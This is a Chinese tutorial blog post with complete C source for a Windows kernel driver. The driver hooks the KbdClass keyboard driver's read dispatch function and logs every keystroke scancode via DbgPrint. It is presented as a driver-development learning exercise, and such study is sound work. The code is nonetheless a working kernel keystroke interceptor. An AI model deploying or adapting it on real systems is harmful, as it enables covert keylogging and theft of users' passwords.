hook键盘驱动中的分发函数实现键盘输入数据的拦截

我自己在看《寒江独钓》这本书的时候,书中除了给出了利用过滤的方式来拦截键盘数据之外,也提到了另外一种方法,就是hook键盘分发函数,将它替换成我们自己的,然后再自己的分发函数中获取这个数据的方式,但是书中并没有明确给出代码,我结合书中所说的一些知识加上网上找到的相关资料,自己编写了相关代码,并且试验成功了,现在给出详细的方法和代码。 用这种方式时首先根据ObReferenceObjectByName函数来根据对应的驱动名称获取驱动的驱动对象指针。该函数是一个未导出函数,在使用时只需要先声明即可,函数原型如下:

NTSTATUS ObReferenceObjectByName(
    PUNICODE_STRING ObjectName, //对应对象的名称
    ULONG Attributes, //相关属性,一般给OBJ_CASE_INSENSITIVE
    PACCESS_STATE AccessState, //描述信息的一个结构体指针,一般给NULL
    ACCESS_MASK DesiredAccess, //以何种权限打开,一般给0如果或者FILL_ALL_ACCESS给它所有权限
    POBJECT_TYPE ObjectType, //该指针是什么类型的指针,如果是设备对象给IoDeviceObjectType如果是驱动对象则给IoDriverObjectType
    KPROCESSOR_MODE AccessMode, //一般给NULL
    PVOID ParseContext, //附加参数,一般给NULL
    PVOID *pObject //用来接收相关指针的输出参数
);

IoDeviceObjectType或者IoDriverObjectType也是未导出的,在使用之前需要先申明他们,例如

extern POBJECT_TYPE IoDriverObjectType;
extern POBJECT_TYPE IoDeviceObjectType;

然后将该驱动对象中原始的分发函数保存起来,以便在hook之后调用或者在驱动卸载时恢复 接下来hook相关函数,要截取键盘的数据,一般采用的是hook read函数 在read函数中设置IRP的完成例程,然后调用原始的分发函数,一定要注意调用原始的分发函数,否则自己很难实现类似的功能,一旦实现不了,那么Windows上的键盘功能将瘫痪。 在完成例程中解析穿回来的IRP就可得到对应键盘的信息。 下面是具体的实现代码

#define  KDB_DRIVER_NAME L"\\Driver\\KbdClass" //键盘驱动的名称为KbdClass

NTSTATUS ObReferenceObjectByName(
    PUNICODE_STRING ObjectName,
    ULONG Attributes,
    PACCESS_STATE AccessState,
    ACCESS_MASK DesiredAccess,
    POBJECT_TYPE ObjectType,
    KPROCESSOR_MODE AccessMode,
    PVOID ParseContext,
    PVOID *pObject);
extern POBJECT_TYPE IoDriverObjectType;
PDRIVER_OBJECT g_pKdbDriverObj; //键盘的驱动对象,保存这个是为了在卸载时还原它的分发函数
PDRIVER_DISPATCH g_oldDispatch[IRP_MJ_MAXIMUM_FUNCTION+1];
int g_KeyCount = 0; //记录键盘IRP的数量,当键盘的请求没有被处理完成时不能卸载这个驱动
VOID DriverUnload(PDRIVER_OBJECT  DriverObject)
{
    LARGE_INTEGER WaitTime;
    int i = 0;
    DbgPrint("KBD HOOK: Entry DriverUnload\n");

    //等待5s
    WaitTime = RtlConvertLongToLargeInteger(-5 * 1000000000 / 100);
    //如果IRP没有被处理完成,等待5s再检测是否处理完成
    while(0 != g_KeyCount)
    {
        KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);
    }

    for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++)
    {
        //还原对应的分发函数
        g_pKdbDriverObj->MajorFunction[i] = g_oldDispatch[i];
    }
}
NTSTATUS
  c2cReadComplete(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp,
    IN PVOID  Context
    )
{
    PUCHAR pBuffer;
    ULONG uLength;
    int i = 0;

    if(NT_SUCCESS(Irp->IoStatus.Status))
    {
        pBuffer = (PUCHAR)(Irp->AssociatedIrp.SystemBuffer);
        uLength = Irp->IoStatus.Information;

        for(i = 0; i < uLength; i++)
        {
        //在完成函数中只是简单的输出了对应的16进制数
            DbgPrint("cap2ctrl: Key %02x\r\n", pBuffer[i]);
        }
    }

    //每当一个IRP完成时,未完成的IRP数量都需要减一
    g_KeyCount--;

    if(Irp->PendingReturned)
    {
        IoMarkIrpPending( Irp ); 
    }

    return Irp->IoStatus.Status;
}

NTSTATUS
  c2cReadDispathc(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
    PIO_STACK_LOCATION pIroStack;
    DbgPrint("Hook By Me!\n");
    //每当进入这个分发函数时都需要将这个未完成IRP数量加一
    g_KeyCount++;
    //设置完成函数
    //在这只能用这种方式,我自己试过用IoSetCompletionRoutine ,它注册的完成函数没有被调用,我也不知道为什么
    pIroStack = IoGetCurrentIrpStackLocation(Irp);
    pIroStack->Control = SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
    pIroStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2cReadComplete; 

    //调用原始的分发函数
    return (g_oldDispatch[IRP_MJ_READ])(DeviceObject, Irp);
}


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    int i = 0;
    PDRIVER_OBJECT pKbdDriverObj;
    UNICODE_STRING uKbdDriverName;
    NTSTATUS status;

    UNREFERENCED_PARAMETER(pRegistryPath);
    DbgPrint("cap2ctrl: Entry DriverEntry\n");

    RtlInitUnicodeString(&uKbdDriverName, KDB_DRIVER_NAME);
    status = ObReferenceObjectByName(&uKbdDriverName, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &g_pKdbDriverObj);
    if(!NT_SUCCESS(status))
    {
        return status;
    }

    //保存原始的派遣函数
    for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++)
    {
        g_oldDispatch[i] = g_pKdbDriverObj->MajorFunction[i];
    }

    //HOOK读请求的派遣函数
    g_pKdbDriverObj->MajorFunction[IRP_MJ_READ] = c2cReadDispathc;

    pDriverObject->DriverUnload = DriverUnload;

    //绑定设备
    return STATUS_SUCCESS;
}

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏青青天空树

趣味题:恺撒Caesar密码(c++实现)

描述:Julius Caesar 生活在充满危险和阴谋的年代。为了生存,他首次发明了密码,用于军队的消息传递。假设你是Caesar 军团中的一名军官,需要把Ca...

702
来自专栏函数式编程语言及工具

Akka(43): Http:SSE-Server Sent Event - 服务端主推消息

   因为我了解Akka-http的主要目的不是为了有关Web-Server的编程,而是想实现一套系统集成的api,所以也需要考虑由服务端主动向客户端发送指令的...

2509
来自专栏hotqin888的专栏

engineercms利用pdf.js制作连续看图功能

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

1611
来自专栏潇涧技术专栏

Pury Project Analysis

Pury的源码:https://github.com/NikitaKozlov/Pury

872
来自专栏cloudskyme

OTL技术应用

什么是OTL:OTL 是 Oracle, Odbc and DB2-CLI TemplateLibrary 的缩写,是一个操控关系数据库的C++模板库,它目前几...

5916
来自专栏XAI

微信二次开发Java自定义菜单事件实现

微信二次开发--java http://blog.csdn.net/lyq8479/ 这个是柳峰的CSDN博客。大家可以看大神的教程。里面有所有的代码。 项目整...

7426
来自专栏JackieZheng

探秘Tomcat——启动篇

tomcat作为一款web服务器本身很复杂,代码量也很大,但是模块化很强,最核心的模块还是连接器Connector和容器Container。具体请看下图: ? ...

4587
来自专栏Flutter知识集

Flutter 实践 MVVM

在做Android或iOS开发时,经常会了解到MVC,MVP和MVVM。MVVM在移动端一度被非常推崇,虽然也有不少反对的声音,不过MVVM确实是不错的设计架构...

2K3
来自专栏肖蕾的博客

第一章:Hello Libgdx

https://gitee.com/xcode_xiao/LibGdxDemos2/tree/master/HelloGDX

881
来自专栏FreeBuf

scapy在wlan中的应用

Scapy 又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居...

31910

扫码关注云+社区